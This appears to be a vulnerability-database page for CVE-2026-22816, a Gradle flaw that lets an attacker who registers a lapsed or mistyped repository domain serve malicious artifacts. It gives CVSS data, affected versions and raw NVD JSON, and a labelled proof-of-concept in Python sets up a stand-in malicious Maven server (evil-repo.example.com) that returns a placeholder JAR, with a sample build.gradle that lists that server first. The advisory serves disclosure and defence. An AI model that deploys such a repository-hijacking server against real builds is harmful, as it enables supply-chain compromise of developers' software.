Security Vulnerability Report
中文
CVE-2026-22816 CVSS 7.4 HIGH

CVE-2026-22816

Published: 2026-01-16 23:15:50
Last Modified: 2026-02-18 16:17:00

Description

Gradle is a build automation tool, and its native-platform tool provides Java bindings for native APIs. When resolving dependencies in versions before 9.3.0, some exceptions were not treated as fatal errors and would not cause a repository to be disabled. If a build encountered one of these exceptions, Gradle would continue to the next repository in the list and potentially resolve dependencies from a different repository. If a Gradle build used an unresolvable host name, Gradle would continue to work as long as all dependencies could be resolved from another repository. An unresolvable host name could be caused by allowing a repository's domain name registration to lapse or typo-ing the real domain name. This behavior could allow an attacker to register a service under the host name used by the build and serve malicious artifacts. The attack requires the repository to be listed before others in the build configuration. Gradle has introduced a change in behavior in Gradle 9.3.0 to stop searching other repositories when encountering these errors.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gradle:gradle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:gradle:gradle:*:*:*:*:*:*:*:* - VULNERABLE
Gradle < 9.3.0 (native-platform组件)
使用Gradle进行构建的项目,如果配置了多个仓库且包含可能失效的域名

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22816 PoC - Gradle仓库劫持攻击演示 # 攻击者注册过期域名并部署恶意仓库 # 1. 攻击者注册过期域名 'evil-repo.example.com' # 2. 部署恶意Maven仓库服务 from http.server import HTTPServer, BaseHTTPRequestHandler import json class MaliciousRepoHandler(BaseHTTPRequestHandler): def do_GET(self): # 返回恶意JAR工件 malicious_jar = b'MALICIOUS_CODE_HERE' self.send_response(200) self.send_header('Content-Type', 'application/java-archive') self.send_header('Content-Length', len(malicious_jar)) self.end_headers() self.wfile.write(malicious_jar) def log_message(self, format, *args): print(f"[Malicious Repo] {args[0]}") def start_malicious_repo(): server = HTTPServer(('0.0.0.0', 8080), MaliciousRepoHandler) print("Malicious repository running on port 8080") server.serve_forever() # 3. 恶意build.gradle配置示例 MALICIOUS_BUILD = """ repositories { // 过期/拼写错误的仓库,攻击者已注册该域名 maven { url 'https://evil-repo.example.com/maven' } // 正常的官方仓库 mavenCentral() } dependencies { implementation 'com.example:vulnerable-lib:1.0.0' } """ # 4. Gradle构建时会按顺序尝试仓库 # 由于第一个仓库先被尝试,恶意工件可能被使用 if __name__ == "__main__": start_malicious_repo()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22816", "sourceIdentifier": "[email protected]", "published": "2026-01-16T23:15:50.127", "lastModified": "2026-02-18T16:17:00.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gradle is a build automation tool, and its native-platform tool provides Java bindings for native APIs. When resolving dependencies in versions before 9.3.0, some exceptions were not treated as fatal errors and would not cause a repository to be disabled. If a build encountered one of these exceptions, Gradle would continue to the next repository in the list and potentially resolve dependencies from a different repository. If a Gradle build used an unresolvable host name, Gradle would continue to work as long as all dependencies could be resolved from another repository. An unresolvable host name could be caused by allowing a repository's domain name registration to lapse or typo-ing the real domain name. This behavior could allow an attacker to register a service under the host name used by the build and serve malicious artifacts. The attack requires the repository to be listed before others in the build configuration. Gradle has introduced a change in behavior in Gradle 9.3.0 to stop searching other repositories when encountering these errors."}, {"lang": "es", "value": "Gradle es una herramienta de automatización de compilaciones, y su herramienta de plataforma nativa proporciona enlaces Java para APIs nativas. Al resolver dependencias en versiones anteriores a la 9.3.0, algunas excepciones no eran tratadas como errores fatales y no causarían la desactivación de un repositorio. Si una compilación encontraba una de estas excepciones, Gradle continuaría con el siguiente repositorio en la lista y potencialmente resolvería dependencias de un repositorio diferente. Si una compilación de Gradle utilizaba un nombre de host irresoluble, Gradle seguiría funcionando siempre y cuando todas las dependencias pudieran resolverse desde otro repositorio. Un nombre de host irresoluble podría ser causado por permitir que el registro del nombre de dominio de un repositorio caduque o por escribir mal el nombre de dominio real. Este comportamiento podría permitir a un atacante registrar un servicio bajo el nombre de host utilizado por la compilación y servir artefactos maliciosos. El ataque requiere que el repositorio esté listado antes que otros en la configuración de la compilación. Gradle ha introducido un cambio en el comportamiento en Gradle 9.3.0 para dejar de buscar otros repositorios al encontrar estos errores."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-494"}, {"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gradle:gradle:*:*:*:*:*:*:*:*", "versionEndExcluding": "8 ... (truncated)